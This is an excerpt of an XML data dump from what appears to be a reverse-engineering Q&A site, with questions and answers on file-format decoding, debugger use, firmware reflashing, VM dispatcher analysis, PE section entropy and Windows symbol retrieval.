(current_thread_info()-&amp;gt;addr_limit) \&#xA;        : &amp;quot;cc&amp;quot;); \&#xA;    flag; })&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="60" LastEditorUserId="60" LastEditDate="2020-12-19T21:55:19.607" LastActivityDate="2020-12-19T21:55:19.607" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26584" PostTypeId="1" CreationDate="2020-12-19T04:42:21.357" Score="1" ViewCount="121" Body="&lt;p&gt;I am trying to help my mother recover some of her work from an old HDD, but I am facing multiple problems.&lt;/p&gt;&#xA;&lt;p&gt;Firstly, I do not know the best way I could interface the old HDD with my laptop (or a newer PC).&lt;/p&gt;&#xA;&lt;p&gt;Even if I get that figured out, I'm unsure as to what tools I should use. I read that radare2 was written to recover data from disks, and I'm thinking that the word files still have their &amp;quot;magic numbers&amp;quot;, and maybe I could use that tool, but I have no idea how to start.&lt;/p&gt;&#xA;&lt;p&gt;I omitted the hard disk specifics because I don't think they matter that much, I'll modify the post just in case. (I didn't know a better place to post - sorry)&lt;/p&gt;&#xA;" OwnerUserId="35291" LastActivityDate="2022-01-16T03:08:15.790" Title="Recover data from old HDD (word files mostly)" Tags="|hardware|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="26585" PostTypeId="1" CreationDate="2020-12-19T09:31:11.057" Score="1" ViewCount="407" Body="&lt;p&gt;I'm reversing a GO binary, and I was trying to locate where some symbols appear in the binary. I did the following:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Used &lt;code&gt;nm&lt;/code&gt; on the binary - which did not recognize any symbols&lt;/li&gt;&#xA;&lt;li&gt;Used &lt;code&gt;go tool nm&lt;/code&gt; - same as #1&lt;/li&gt;&#xA;&lt;li&gt;Ran &lt;code&gt;strings&lt;/code&gt; and piped to grep - Did not find the symbols I was looking for&lt;/li&gt;&#xA;&lt;li&gt;Finally, opened the binary in radare2 and ran command &lt;code&gt;izzz~search&lt;/code&gt; and I found the symbols I was looking for in &lt;code&gt;.data.rel.ro&lt;/code&gt; section.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;I don't understand what data in this section is used for in the context of GO. Is this where function symbols that are loaded into the binary reside? I'm not sure why else these would be located here, and also why &lt;code&gt;nm&lt;/code&gt; couldn't find them.&lt;/p&gt;&#xA;" OwnerUserId="18507" LastActivityDate="2020-12-19T09:31:11.057" Title="What is .data.rel.ro used for in GO on Linux?" Tags="|binary-analysis|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26586" PostTypeId="1" CreationDate="2020-12-19T16:40:20.913" Score="1" ViewCount="176" Body="&lt;p&gt;I am trying to edit ASCII String via Immunity Debugger:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.gyazo.com/8f5a4c3deeb3a8ca0fe90fc0a2558bd9.png&quot; alt=&quot;Text&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;However when I right click to do binary edit and then I click ok, the MOV DWORD instruction is replaced with some random instruction which cause the program to crash:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.gyazo.com/f3e6bb5ad14c68bff7154e797a5ff099.png&quot; alt=&quot;Text&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;This is the result:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.gyazo.com/9ce6b75cabd78638b19c72669254617d.png&quot; alt=&quot;Text&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Why is the MOV DWORD instruction completely destroyed and replaced with these random instructions ?&lt;/p&gt;&#xA;" OwnerUserId="35293" LastEditorUserId="245" LastEditDate="2021-01-02T21:55:05.003" LastActivityDate="2021-01-02T21:55:05.003" Title="Edit ASCII value in Assembler (using Immunity Debugger)" Tags="|disassembly|immunity-debugger|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="26588" PostTypeId="1" CreationDate="2020-12-19T20:53:57.063" Score="7" ViewCount="357" Body="&lt;p&gt;I want to find out the compression method used by an iOS app used for music notation to store its files. The files of its OSX counterpart are zipped files. You cannot create files in the iOS app, but you can upload them using the desktop application to the application's cloud server and from there download them to your iOS device for offline viewing. My findings so far:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The header of the files is &lt;code&gt;58 54 5A 00&lt;/code&gt;, which isn't listed in any file signatures table I have searched in&lt;/li&gt;&#xA;&lt;li&gt;The usual suspects, commands &lt;code&gt;file&lt;/code&gt; and &lt;code&gt;binwalk&lt;/code&gt;, do not identify the format&lt;/li&gt;&#xA;&lt;li&gt;The entropy histogram is flat&lt;/li&gt;&#xA;&lt;li&gt;Each time I download the same file from the server to the iOS device, a file of the exact same size but with different content (apart from the header 58 54 5A 00`) gets saved.&lt;/li&gt;&#xA;&lt;li&gt;Altering hex values&#xA;&lt;ul&gt;&#xA;&lt;li&gt;last two bytes: file is read normally by the iOS app&lt;/li&gt;&#xA;&lt;li&gt;third byte from the end: app becomes unresponsive when opening the folder the file is in. Since each file is shown as a thumbnail of the musical score I suspect this byte has something to do with the thumbnail.&lt;/li&gt;&#xA;&lt;li&gt;Any other random byte: thumbnail is shown correctly, app doesn't crash, but a blank page appears when the file is opened&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;The following files are actually all the same file downloaded from the server 4 times.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://filebin.net/sjvkyh4b0rhhtu3e/458090245844041-10874673.mscze?t=dyjjgue5&quot; rel=&quot;noreferrer&quot;&gt;Version_1&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://filebin.net/sjvkyh4b0rhhtu3e/458090245844041-10874673.mscze_2?t=dyjjgue5&quot; rel=&quot;noreferrer&quot;&gt;Version_2&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://filebin.net/sjvkyh4b0rhhtu3e/458090245844041-10874673.mscze_3?t=dyjjgue5&quot; rel=&quot;noreferrer&quot;&gt;Version_3&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://filebin.net/sjvkyh4b0rhhtu3e/458090245844041-10874673.mscze_4?t=dyjjgue5&quot; rel=&quot;noreferrer&quot;&gt;Version_4&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;strike&gt;&#xA;I have produced three files, the first contains &quot;A&quot;, the second &quot;AA&quot;, the third &quot;AAA&quot;. The first set of files comes from iOS, the second from OSX.&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://filebin.net/cb71khvjz0f5fdhj/A.mscze?t=pivu15hs&quot; rel=&quot;noreferrer&quot;&gt;FileA_iOS&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://filebin.net/cb71khvjz0f5fdhj/AA.mscze?t=pivu15hs&quot; rel=&quot;noreferrer&quot;&gt;FileAA_iOS&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://filebin.net/cb71khvjz0f5fdhj/AAA.mscze?t=pivu15hs&quot; rel=&quot;noreferrer&quot;&gt;FileAAA_iOS&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://filebin.net/cb71khvjz0f5fdhj/Screenshot_iOS.jpeg?t=pivu15hs&quot; rel=&quot;noreferrer&quot;&gt;Screenshot_iOS&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://filebin.net/cb71khvjz0f5fdhj/A.mscz?t=pivu15hs&quot; rel=&quot;noreferrer&quot;&gt;FileA_OSX&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://filebin.net/cb71khvjz0f5fdhj/AA.mscz?t=pivu15hs&quot; rel=&quot;noreferrer&quot;&gt;FileAA_OSX&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://filebin.net/cb71khvjz0f5fdhj/AAA.mscz?t=pivu15hs&quot; rel=&quot;noreferrer&quot;&gt;FileAAA_OSX&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://filebin.net/cb71khvjz0f5fdhj/Screenshot_OSX.png?t=pivu15hs&quot; rel=&quot;noreferrer&quot;&gt;Screenshot_OSX&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;/strike&gt;.&lt;/p&gt;&#xA;" OwnerUserId="35296" LastEditorUserId="34929" LastEditDate="2020-12-25T18:14:01.387" LastActivityDate="2023-05-17T03:11:41.370" Title="Reverse engineer compressed iOS app file" Tags="|file-format|ios|decompress|unknown-data|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="26589" PostTypeId="2" ParentId="26582" CreationDate="2020-12-19T22:04:34.100" Score="3" Body="&lt;p&gt;Multiple &lt;code&gt;.dex&lt;/code&gt; files are created mostly in cases when the number of methods exceed the maximum one for &lt;code&gt;.dex&lt;/code&gt; files, &lt;a href=&quot;https://developer.android.com/studio/build/multidex&quot; rel=&quot;nofollow noreferrer&quot;&gt;which is 65536 functions per file&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Yes, ProGuard can be used to obfuscate only specific classes/function/methods, take a look &lt;a href=&quot;https://www.guardsquare.com/en/products/proguard/manual/usage&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;, especially to the options starting with &lt;code&gt;-keep&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="21109" LastActivityDate="2020-12-19T22:04:34.100" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26590" PostTypeId="1" CreationDate="2020-12-20T09:08:39.943" Score="1" ViewCount="2185" Body="&lt;p&gt;I run gdbserver&#xA;&lt;code&gt;gdbserver --attach :&amp;lt;port&amp;gt; &amp;lt;pid&amp;gt;&lt;/code&gt; and then connect with gdb-multiarch&lt;/p&gt;&#xA;&lt;p&gt;The problem is that until I connect with gdb-multiarch and run &lt;code&gt;c&lt;/code&gt; the process is stop.&lt;/p&gt;&#xA;&lt;p&gt;Can I continue the process after I attach with &lt;code&gt;gdbserver&lt;/code&gt; inside hte machine that run gdbserver ?&lt;/p&gt;&#xA;" OwnerUserId="34775" LastActivityDate="2021-02-21T13:02:35.220" Title="Attach to process with gdbserver without stop it" Tags="|gdb|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26591" PostTypeId="1" CreationDate="2020-12-20T09:15:45.863" Score="1" ViewCount="338" Body="&lt;p&gt;I recently work on Tricore Processor, but I have some problems.&#xA;With reading memory value. I do not know if I am right or not, but I think a part of flash memory copied to RAM and now in my algorithm used of RAM cell.&#xA;I have shown Code in below:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;ld32.a          a15, [a0]-0x7BA4 ; a0 = 0xD00032E0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;As you see, a15 is an address that point to a constant value(store in RAM or FLASH) and &lt;code&gt;a0&lt;/code&gt; is the base address of RAM memory. To calculate &lt;code&gt;a15&lt;/code&gt;, I subtract &lt;code&gt;a0&lt;/code&gt; from &lt;code&gt;0x7BA4&lt;/code&gt; but the result is 0xCFFFB73C. This Address is not a valid address of RAM.&lt;br /&gt;&#xA;&lt;strong&gt;EDITED:&lt;/strong&gt;&lt;br /&gt;&#xA;I saw a freaky sentence in Tricore document.(I have shown in below)&#xA;&lt;a href=&quot;https://i.stack.imgur.com/dKIMH.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/dKIMH.jpg&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;br /&gt;&#xA;As you see, &lt;code&gt;A[0]&lt;/code&gt; can be protected by user application.&lt;br /&gt;&#xA;&lt;strong&gt;Could it be protected in this case as well?&lt;/strong&gt;&lt;br /&gt;&#xA;&lt;strong&gt;What is my wrong? What should I do? How can I get the correct value of &lt;code&gt;a15&lt;/code&gt;?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="31110" LastEditorUserId="31110" LastEditDate="2020-12-21T12:28:52.837" LastActivityDate="2022-09-12T15:07:40.643" Title="How can I find a value in Tricore(TC1766) Arch?" Tags="|ida|firmware|static-analysis|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26592" PostTypeId="1" CreationDate="2020-12-20T11:53:31.537" Score="2" ViewCount="495" Body="&lt;p&gt;I have a lot of out of licensed Fortigate90D devices so i want to reuse and run Openwrt/pfsense on them.&#xA;I have dumped and decoded the bios and got some useful datas,&#xA;according to datas we can see u-boot.bin, u-boot.bin.cpu2 and fsoc/spi_boot_fsoc.bin images so i want to know how we can extract these  bootloader images and so install custom  open source projects like OpenWRT, pfsense.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/WItbT.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/WItbT.jpg&quot; alt=&quot;fortigate90d_mainboard&quot; /&gt;&lt;/a&gt;&#xA;Any help would be appreciated&#xA;thanks..&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt; no_repeat=1�uart=loadb 100000;go 100000&#xA;�mbu=sete tftpip 172.30.80.145;sete myip 172.30.80.154;tftp u-boot.bin;go 8000000&#xA;�cpu2img=u-boot.bin.cpu2&#xA;�crc=crc $fileaddr $filesize�sfwr=sf probe 0;tftp b000000 fsoc/spi_boot_fsoc.bin;sf wrimg b000000 0&#xA;�bootdelay=3&#xA;�baudrate=9600&#xA;�ethact=nplite#0&#xA;�silent=0&#xA;�dhcpen=0&#xA;�netmask=255.255.255.0&#xA;�imagename=fgt90d.out&#xA;�tftport=0&#xA;�mac0=08:5b:0e:xx:xx:xx&#xA;�sn=FGT90DXXXXXXXXXX&#xA;�ver=FortiGate-90D (20:14-02.28.2014)&#xA;�bootcmd=flat&#xA;�myip=10.10.0.100&#xA;�tftpip=10.10.0.10&#xA;�gatewayip=10.10.0.101   &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Here is the entire bios dump&#xA;&lt;a href=&quot;https://pastebin.pl/view/e641d7a3&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://pastebin.pl/view/e641d7a3&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Thank you for your help&lt;/p&gt;&#xA;" OwnerUserId="35299" LastEditorUserId="35299" LastEditDate="2020-12-25T19:16:10.800" LastActivityDate="2020-12-25T19:16:10.800" Title="How can i extract u-boot image from fgt90d.out firmware and install Openwrt image?" Tags="|firmware|arm|dumping|bios|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26593" PostTypeId="1" CreationDate="2020-12-20T12:20:45.437" Score="2" ViewCount="531" Body="&lt;p&gt;I'm currently reversing a virtualized sample  that uses a custom &lt;strong&gt;VM bytecode&lt;/strong&gt;. After defeating the anti-disassembly tricks I'm finally faced with the &lt;code&gt;vm_dispatch&lt;/code&gt; function. I have to figure out the custom vm opcodes in order to determine what the program actually does. Unlike most other vms, there are no &lt;code&gt;vftables&lt;/code&gt; which makes it very hard for me to reverse since there are more than 100 virtual handlers which are not defined as functions (All of the handlers are defined in &lt;code&gt;loc_XXXX&lt;/code&gt; code blocks. Example image is below).&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/T5U24.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/T5U24.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Trying to decompile the &lt;code&gt;vm_dispatch&lt;/code&gt; function leaves me with this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;  ...&#xA;  a lot of local variable initialization&#xA;  ...&#xA;  assign vm handlers&#xA;  ...&#xA;  bytecode_array[53] = &amp;amp;loc_4041A3;&#xA;  regs-&amp;gt;VIP = 0x6000;  // virtual ip&#xA;  memcpy(bytecode_array + regs-&amp;gt;VIP, bytecode, bytecode_size);&#xA;  regs-&amp;gt;R5 = -1;&#xA;  vm_code = *(bytecode_array + regs-&amp;gt;VIP++);&#xA;  __asm { jmp     [ebp+eax*4+vm_handler_array]; jump to the appropriate handler }// switch jmp&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I know it's not fully decompiled because there are more than 100 blocks, each executing a specific vm bytecode. None of that is reflected on the decompiler output.&lt;/p&gt;&#xA;&lt;p&gt;It's really time-consuming to go through each &lt;code&gt;loc_XXXX&lt;/code&gt; without being able to define VM specific structures like &lt;code&gt;VM&lt;/code&gt; and &lt;code&gt;REG&lt;/code&gt; and to read the low-level assembly. My question is, is there any:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Way to convert &lt;code&gt;loc_XXXX&lt;/code&gt; code blocks to functions to that I can decompile the code and create structures?&lt;/li&gt;&#xA;&lt;li&gt;Right approach to read the assembly / make it easier?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="20848" LastActivityDate="2020-12-20T12:20:45.437" Title="Right way to reverse a VM" Tags="|ida|disassembly|decompile|virtualizers|vm|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26594" PostTypeId="1" AcceptedAnswerId="26705" CreationDate="2020-12-20T12:21:13.267" Score="1" ViewCount="417" Body="&lt;p&gt;I've managed to extract some graphics files from an archive of an old game. Haven't found anything about it online, so I'm trying my luck here, prehaps someone knows a similar format that can help me. It's a somehow encrypted/compressed graphics format that uses an external palette. I've managed to display a different graphics format from the game, .raw files, that were very similar to NetPBM files. This format however isn't as straight forward.&lt;/p&gt;&#xA;&lt;h2&gt;Here's what I know:&lt;/h2&gt;&#xA;&lt;p&gt;File extension: .cgf&lt;br /&gt;&#xA;File magic: CGFF&lt;br /&gt;&#xA;&lt;code&gt;file&lt;/code&gt;: data&lt;br /&gt;&#xA;&lt;code&gt;binwalk -E&lt;/code&gt;: 0.5 or 0.75, depends on &amp;quot;compression type&amp;quot;, pretty much uniform across file&lt;br /&gt;&#xA;&lt;code&gt;binwalk -X&lt;/code&gt;: DEFLATE streams, sometimes only 1 bit long (?)&lt;/p&gt;&#xA;&lt;p&gt;Header structure is as follows. Names are an educated guess on what the field could be. Every field is 4 bytes long, numbers are signed ints stored in little endian.&lt;br /&gt;&#xA;Each line is 4 bytes in the file:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;String CGFF (file magic)&#xA;Compression type, either &amp;quot;1&amp;quot; or &amp;quot;9&amp;quot; across all files&#xA;Number of layers&#xA;Number of layers, multiplied by 24&#xA;File size. If my guess is right, this is probably an unsigned int&#xA;&amp;quot;0&amp;quot; across all files but one, where it is &amp;quot;250&amp;quot;&#xA;&amp;quot;0&amp;quot; across all files&#xA;X Position                                      |&#xA;Y Position                                      |&#xA;Width                                           |&#xA;Height                                          |&#xA;&amp;quot;38&amp;quot; across all files                           |&#xA;Offset into the file starting after the headers |&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The last 6 entries seem to make up a unit that repeats once for every layer.&lt;/p&gt;&#xA;&lt;p&gt;Here's how I got to my guesses:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Compression type: 1-files have a different entropy and structure than 9-files.&lt;/li&gt;&#xA;&lt;li&gt;Number of layers: Observarions like this: A file called &amp;quot;Ballammo&amp;quot; is loaded in a game where you have 10 snowballs to throw at targets. The header contains a &amp;quot;10&amp;quot; in this field. This works for other files too.&lt;/li&gt;&#xA;&lt;li&gt;Filesize: I had to guess this since the archive I extracted the files from stored incorrect file lengths, but in most cases the numbers are similar enough&lt;/li&gt;&#xA;&lt;li&gt;Position/Size: Files called &amp;quot;Background&amp;quot; always have the values 0 0 640 480. In some cases they were 640 480 -640 -480, hence my guess with the position. The size makes sense for a game of that time running in 4:3&lt;/li&gt;&#xA;&lt;li&gt;Layer offset: Guess, since the first entry is always 0 and the subsequent are bigger numbers. Also it lines up nicely like this.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Regarding the file structure, 1-files have higher entropy and don't really show any pattern. In 9-files however, most of the time a byte is followed by 0xff, rarely by something else. It's not RLE, I've tried that.&lt;/p&gt;&#xA;&lt;p&gt;As requested, here's two hexdumps. One 9-compressed, one 1-compressed.&lt;br /&gt;&#xA;&lt;a href=&quot;https://pastebin.com/NGY79UgU&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://pastebin.com/NGY79UgU&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Oh right, I should say how these are supposed to look like. &amp;quot;Cursor.cgf&amp;quot; should contain a two hand-like cursors, one pointing and one grabbing. Regarding &amp;quot;Kid.cgf&amp;quot;, the data says it contains 8 layers. Given the minigame the file loads in, this should contain 4 grinning mouths and 4 pairs of eyes.&lt;/p&gt;&#xA;&lt;p&gt;I also forgot to mention that both images have transparency, this could however be implemented using the palette the game loads.&lt;/p&gt;&#xA;&lt;p&gt;NOTE: I can't guarantee that these files are complete. They may contain garbage at the end or be incomplete. As I said, chances are good that the archive's stored file lengths are wrong, as I found a palette that contained the .wav header of the next file after extraction.&lt;/p&gt;&#xA;&lt;p&gt;Here's how some of the layers of the files given should look like when correctly loaded. Three &amp;quot;Kid.cgf&amp;quot;-layers are lined in red, while one of the &amp;quot;Cursor.cgf&amp;quot;-layers is lined in green. Boxes are not exact.&lt;br /&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/NzkW4.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/NzkW4.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h2&gt;UPDATE&lt;/h2&gt;&#xA;&lt;p&gt;I managed to point the game to an extracted file instead of an archived file and it loads just fine. After also writing a program that fully parses the header, extracting the layer data into seperate files and some minor experiments, here's my results &lt;strong&gt;on a type 1 image&lt;/strong&gt;:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The game doesn't mind files being too long.&lt;/li&gt;&#xA;&lt;li&gt;The data isn't just a bitmap. Assuming I correctly found the fields for width, height and layer offset, the lengths of the fields (= diff between two layer offsets) is always smaller than width*height. Also, randomly changing some bytes in the image section crashes that game on load.&lt;/li&gt;&#xA;&lt;li&gt;The x and y pos isn't relative to the screen but to something else. This was revealed by swapping two images; both were still drawn in the correct location.&lt;/li&gt;&#xA;&lt;li&gt;@pythonpython found the value 0x26 to be interesting. This value also is stored in the layer entries (I wrote '&amp;quot;38&amp;quot; in all files', see above).&lt;/li&gt;&#xA;&lt;li&gt;The image data contains info on where a &amp;quot;pixel line&amp;quot; ends. Example: Let a layer be 32x64. Swapping the header values for the image to be 64x32 results in an image that is cut off in the middle but gets displayed correctly.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;I'll keep experimenting and update accordingly.&lt;/p&gt;&#xA;" OwnerUserId="35142" LastEditorUserId="35142" LastEditDate="2021-01-02T14:47:33.497" LastActivityDate="2021-01-04T23:20:14.783" Title="Opening an undocumented 90s graphics format" Tags="|file-format|unknown-data|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="26595" PostTypeId="1" AcceptedAnswerId="26597" CreationDate="2020-12-20T20:12:14.140" Score="2" ViewCount="81" Body="&lt;p&gt;Why is Shannon Entropy of individual sections always between 0-8. Also why we need to create a 256 freq array while calculating the Shannon Entropy?&lt;/p&gt;&#xA;" OwnerUserId="35305" LastActivityDate="2020-12-21T15:44:45.273" Title="Shannon Entropy of Individual PE sections" Tags="|malware|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="26596" PostTypeId="2" ParentId="26591" CreationDate="2020-12-20T23:44:02.117" Score="1" Body="&lt;p&gt;It seems the address falls into the Scratchpad RAM region, so it’s probably initialized somewhere else. Try to look for references to C4000000 or C8000000, or other occurrences of &lt;code&gt;-0x7BA4&lt;/code&gt; - maybe you’ll find the place where the variable is written to.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/pulFC.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/pulFC.jpg&quot; alt=&quot;Scratchpad RAM memory map&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2020-12-20T23:44:02.117" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26597" PostTypeId="2" ParentId="26595" CreationDate="2020-12-21T00:14:08.703" Score="2" Body="&lt;p&gt;The channel capacity of a single byte samples has a maximum of 8 bits.&lt;/p&gt;&#xA;&lt;p&gt;Another way of thinking about it: If a single byte has the same value for every sample, you need 0 additional bits of information to describe the values.&lt;/p&gt;&#xA;&lt;p&gt;If a single byte takes on 256 different values, [0 to 255], then for every sample you will need 8 additional bits of information to uniquely describe the values.&lt;/p&gt;&#xA;&lt;p&gt;For example, if you were measuring the Shannon Entropy of a collection of Short values (2 bytes / 16 bits) it would range from 0 (constant) to 16 (completely random).&lt;/p&gt;&#xA;" OwnerUserId="34929" LastEditorUserId="34929" LastEditDate="2020-12-21T15:44:45.273" LastActivityDate="2020-12-21T15:44:45.273" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26598" PostTypeId="2" ParentId="26594" CreationDate="2020-12-21T01:09:28.013" Score="0" Body="&lt;p&gt;Some interesting structure if you break the files by value 0x26.&lt;/p&gt;&#xA;&lt;p&gt;How did you derive the number of layers?&lt;/p&gt;&#xA;&lt;p&gt;I don't think these are compressed. There's lots of redundancy in the data which compression would destroy. You also wouldn't see the same values in the compressed result of two different inputs.&lt;/p&gt;&#xA;&lt;p&gt;What is the game system?&lt;/p&gt;&#xA;&lt;p&gt;What are the pixel sizes of the displayed kid.cgf and cursor.cgf on the device?&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/sWOSK.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/sWOSK.jpg&quot; alt=&quot;Analysis of hex.&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="34929" LastEditorUserId="34929" LastEditDate="2020-12-21T01:37:20.813" LastActivityDate="2020-12-21T01:37:20.813" CommentCount="6" CommunityOwnedDate="2020-12-21T09:36:49.813" ContentLicense="CC BY-SA 4.0" />
  <row Id="26599" PostTypeId="1" CreationDate="2020-12-21T05:09:27.677" Score="3" ViewCount="1709" Body="&lt;p&gt;I want to take a look at some components of the Windows OS in IDA, such as ntoskrnl.exe and some of the Windows API .DLLs. I understand there is a Microsoft symbol server, but I am not sure how to actually retrieve the .PDB of choice from it.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/21453/how-to-configure-ida-to-load-pdb-files-from-microsoft-public-symbol-server&quot;&gt;While this question is similar to mine&lt;/a&gt;, the answers do not include how to statically load a .pdb of choice during disassembly rather than automatically load it from the environment variables while debugging.&lt;/p&gt;&#xA;&lt;p&gt;How can I download a specific .PDB for a Windows binary?&lt;/p&gt;&#xA;" OwnerUserId="14403" LastActivityDate="2020-12-21T22:15:00.193" Title="Where Can I Get .PDB files for Windows OS Components?" Tags="|ida|disassembly|windows|debugging|symbols|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26600" PostTypeId="2" ParentId="26599" CreationDate="2020-12-21T07:36:39.667" Score="0" Body="&lt;p&gt;You can use the &lt;a href=&quot;https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/using-symchk&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;symchk&lt;/code&gt; tool &lt;/a&gt;shipped with the Windows SDK to automate this process.&lt;/p&gt;&#xA;&lt;p&gt;IIRC it goes similar to this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;symchk /v /r c:\myfiles /s srv*c;\symbols*https://msdl.microsoft.com/download/symbols&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This will go through the PE files in c:\myfiles, fetch the PDBs from MS symbol server and cache them in c:\symbols.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2020-12-21T07:36:39.667" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
